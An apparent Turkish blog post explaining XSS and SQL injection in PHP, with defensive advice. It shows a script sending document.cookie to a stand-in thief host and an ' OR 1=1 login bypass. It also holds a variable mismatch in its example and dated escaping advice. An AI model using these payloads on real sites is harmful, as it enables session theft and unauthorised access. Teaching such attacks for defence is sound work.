PHP ile Ataklara Karşı Güvenlik

PHP hızlı ve kolay öğrenilen bir dil olması hasebiyle yazılımdan kaynaklanan güvenlik açıklarına neden olabiliriz. Konuksuz misafirleri engelleyebilmek için yazılımda dikkat etmemiz gereken birkaç noktaya değinmek istiyorum.

XSS Shell:
XSS “Cross Site Scriptting”: XSS atakları genelde kullanıcının Cookie (çerez) lerini çalmak amacıyla kullanılır. Bu cookie’ler kullanıcı login bilgileri, sifreler ya da benzeri önemli bilgileri içeriyor olabilir.

Gerçek zamanlı olarak kullanıcı(-ları)nın cookie (çerez)lerini kontrol eterek,  sisteme girme, başka sistemlere saldırma, takip etme, şifrelerini çalma gibi eylemleri gerçekleştirebilirler. Biz kendilerine zombi diyoruz.

XSS atağına maruz kalan kullanıcı, tarayıcı penceresini kapatana kadar saldırganın kontrolünde olacaktır. XSS Shell birden fazla zombiyi gerçek zamanlı yönetebilir ve komut gönderebilir.

Bir örnek yapalım:

$id=$_GET[‘user’];
echo “Gelen ID degeri:”.$user;

Kodumuz bu şekildeyken gayet masum; fakat gelen $_GET[‘user’] değişkenin değeri aşağıdaki gibiyse ?

<script>
window.location.href = “http://HIRSIZsite.com/cookie-HIRSIZI.php?c=&#8217; + document.cookie;
</script>

Kullanıcı cookie bilgileri hırsız tarafından çalınır.

Nasıl Korunurum?

İlk olarak, _GET ya da _POST yolu ile gelebilecek hiç bir bilgiye güvenmeyeceğiz. Bu tip değişkenleri bir filtreden geçirmeden almayacağız. İlk önce gelen veriyi HTML taglarından temizleyeceğiz. Bunun yapmanın en kolay yolu PHP’nin strip_tags() fonksiyonunu kullanmaktır. Bu fonksiyon tüm HTML Tag’larını temizler. HTML tag’larını silmemek ama onları zararsız hale getirmek için htmlentities(), htmlspecialchars()  fonksiyonlarından da faydalanabilirsiniz.

SQL Injection:

SQL Injection veritabanından ve dilden bağımsız olarak her türlü yazılım-veritabanı ilişkisine sahip sistemde bulunabilir ve bu veritabanlarının bir açığı değildir. SQL Injection’dan korunmak yazılımcının görevidir.

SQL Injection Nedir? : Kullanıcıdan alınan veri ile dinamik SQL sorguları oluşturulur. Mesela “SELECT * FROM Products” örnek SQL sorgusu basit şekilde veritabanından tüm ürünleri döndürecektir. Bu SQL cümlecikleri oluşturulurken araya sıkıştırılan herhangi bir meta-karakter SQL Injection’a neden olabilir.

SQL için kritik metakarakter (‘) tek tırnak ve (;) noktalı virgüldür.

Bir örnek yapalım:

SELECT * FROM users WHERE username = ‘$username’ AND password = ‘$password’;

if ( mysql_num_rows($result) > 0 )

SQL sorgusu, SQL Injection için zaafiyet oluşturabilecek bir kod örneğidir. Kötü amaçlı bir kişi yukarıdaki SQL sorgusunu değiştirerek sisteme izinsiz giriş yapabilir.
Örneğin kötü kullanıcı, adı alanına “ahmet” şifre (password) alanına aşağıdaki gibi bir giriş yaparsa:  ‘  OR 1=1 ‘

SQL sorgumuz aşağıdaki gibi olur:

SELECT * FROM users WHERE username = ‘ahmet’ AND password = ” OR 1=1 ;

ve sonuç: sisteme, şifre kontrolu gerçekleşmeden giriş yapılır.

Nasıl Korunurum?

XSS Atağında olduğu gibi, en büyük sorun kullanıcının gönderdiği veriyi kontrol etmemek. Korunmanın en iyi yöntemi ise, kullanıcı verisini riskli karakterlerden arındırmaktır. Gelen değişkenleri PHP’nin mysql_real_escape_string() ya da addslashes ()  fonksiyonuyla zararsız hale getirebiliriz. Bu fonksiyon riskli olan ‘ ve ” gibi karakterleri temizlemektedir.

5 temel savunma prensibi
1) Kullanıcı girdilerine asla güvenmeyin.

  • Tüm TextBox girişlerinin değerlerini Validator Kontrolleri, Regular Expressions veya kod ile kontrol edin.

2) Veritabanına asla admin düzeyinde bağlanmayın.

  • Veritabanına gerekli düzeyde kısıtlı erişim ile bağlanın.

3) Asla dinamik Sql sorguları kullanmayın.

  • Parametre göndererek veya Stored Procedure Kullanın.

4) Veritabanına kullanıcı şifrelerini asla açık şekilde yazmayın.

  • Verilerinizi şifreleme algoritması kullanarak veritabanına kaydedin.

5) Web uygulamalarınızda meydana gelebilecek istisnalarla(Exceptions) veya hatalarla ilgili bilgileri en düşük düzeyde kullanıcıya aktarın.

  • Web uygulamalarınızda meydana gelebilecek olası her hataya karşı özel bir hata sayfası hazırlayın.

devam edecek…

Yukarıdaki kodda, $_GET[’id’] degiskeni bir sayı ise problem yok. Ancak ya aşağıdaki gibi bir kodsa?

Reklamlar

Bir Cevap Yazın

Aşağıya bilgilerinizi girin veya oturum açmak için bir simgeye tıklayın:

WordPress.com Logosu

WordPress.com hesabınızı kullanarak yorum yapıyorsunuz. Çıkış  Yap / Değiştir )

Twitter resmi

Twitter hesabınızı kullanarak yorum yapıyorsunuz. Çıkış  Yap / Değiştir )

Facebook fotoğrafı

Facebook hesabınızı kullanarak yorum yapıyorsunuz. Çıkış  Yap / Değiştir )

Google+ fotoğrafı

Google+ hesabınızı kullanarak yorum yapıyorsunuz. Çıkış  Yap / Değiştir )

Connecting to %s